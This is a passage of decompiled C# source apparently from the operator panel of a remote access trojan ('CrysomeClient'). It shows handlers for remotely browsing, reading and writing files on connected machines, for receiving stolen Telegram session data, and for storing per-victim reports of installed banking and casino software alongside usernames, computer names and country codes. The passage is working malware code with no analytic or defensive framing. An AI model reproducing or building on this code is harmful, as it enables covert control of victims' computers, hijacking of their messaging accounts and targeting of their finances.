} } Log("Telegram session from " + addr + ": no data received.", "TELEGRAM"); MessageBox.Show("No Telegram session data received.", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); } }); } private void DoExportLog() { SaveFileDialog saveFileDialog = new SaveFileDialog { Filter = "Log|*.log", FileName = "activity.log" }; if (saveFileDialog.ShowDialog() == true) { File.WriteAllLines(saveFileDialog.FileName, LogEntries.Select((LogLineEntry x) => x.ToString())); Log("Log exported to " + saveFileDialog.FileName, "SYS"); } } public void Log(string msg, string category = "") { if (store.Settings.LogPaused) { return; } LogLineEntry entry = new LogLineEntry { TimeText = DateTime.Now.ToString("HH:mm:ss"), Category = (category ?? ""), Message = msg }; string text = entry.ToString(); Application current = Application.Current; if (((current != null) ? ((DispatcherObject)current).Dispatcher : null) != null) { ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { LogEntries.Add(entry); while (LogEntries.Count > 5000) { LogEntries.RemoveAt(0); } }); } if (!store.Settings.LogToFile) { return; } try { File.AppendAllText(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "activity.log"), text + Environment.NewLine); } catch { } } private string PromptInput(string title, string prompt, string defaultValue = "") { Window dlg = new Window { Title = title, Width = 420.0, Height = 160.0, WindowStartupLocation = WindowStartupLocation.CenterOwner, Owner = Application.Current.MainWindow, ResizeMode = ResizeMode.NoResize }; StackPanel stackPanel = new StackPanel { Margin = new Thickness(12.0) }; stackPanel.Children.Add(new TextBlock { Text = prompt }); TextBox textBox = new TextBox { Text = defaultValue, Margin = new Thickness(0.0, 8.0, 0.0, 8.0) }; stackPanel.Children.Add(textBox); Button button = new Button { Content = "OK", Width = 80.0, HorizontalAlignment = HorizontalAlignment.Right }; button.Click += delegate { dlg.DialogResult = true; dlg.Close(); }; stackPanel.Children.Add(button); dlg.Content = stackPanel; textBox.Focus(); if (dlg.ShowDialog() != true) { return null; } return textBox.Text; } private void RouteReadFileResponse(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown ReadFileResponsePacket val = (ReadFileResponsePacket)packet; if (val.TransferId != 0L && _pendingReadFileResponses.TryRemove((sender, val.TransferId), out var value)) { value(val); } } private void RouteWriteFileResponse(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown WriteFileResponsePacket val = (WriteFileResponsePacket)packet; if (val.TransferId != 0L && _pendingWriteFileResponses.TryRemove((sender, val.TransferId), out var value)) { value(val); } } private void RouteGetDirectoryResponse(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown GetDirectoryResponsePacket val = (GetDirectoryResponsePacket)packet; FileExplorerViewModel value2; if (val.RequestId != 0L && _pendingGetDirectoryResponses.TryRemove((sender, val.RequestId), out var value)) { value(val); } else if (_activeFileExplorers.TryGetValue(sender, out value2)) { value2.ApplyGetDirectoryResponse(val); } } private void RouteGetDrivesResponse(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown GetDrivesResponsePacket val = (GetDrivesResponsePacket)packet; FileExplorerViewModel value2; if (val.RequestId != 0L && _pendingGetDrivesResponses.TryRemove((sender, val.RequestId), out var value)) { value(val); } else if (_activeFileExplorers.TryGetValue(sender, out value2)) { value2.ApplyGetDrivesResponse(val); } } private void RouteNotifyStatus(CrysomeClient sender, IPacket packet) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0019: Expected O, but got Unknown NotifyStatusResponsePacket p = (NotifyStatusResponsePacket)packet; if (_activeFileExplorers.TryGetValue(sender, out var value)) { value.ApplyNotifyStatus(p); return; } Application current = Application.Current; if (current != null) { ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { EnqueueStatus(p.StatusMessage); }, Array.Empty()); } } private void HandleClientInventoryReport(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown ClientInventoryReportPacket p = (ClientInventoryReportPacket)packet; Application current = Application.Current; if (current == null) { return; } ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); if (clientInfo != null) { clientInfo.ApplyInventoryJson(p.AppsJson, p.BankJson, p.CasinoJson); store.UpsertClient(new StoredClientRecord { Address = clientInfo.Address, Port = clientInfo.Port, UserName = (clientInfo.Username ?? ""), ComputerName = (clientInfo.ComputerName ?? ""), OS = (clientInfo.OS ?? ""), CountryCode = (clientInfo.CountryCode ?? ""), Group = (clientInfo.Group ?? ""), Notes = (clientInfo.Notes ?? ""), IsPinned = clientInfo.IsPinned, LastSeen = DateTime.Now, AppsInventoryJson = (p.AppsJson ?? ""), BankInventoryJson = (p.BankJson ?? ""), CasinoInventoryJson = (p.CasinoJson ?? "") }); store.SaveClients(); } }, Array.Empty()); } }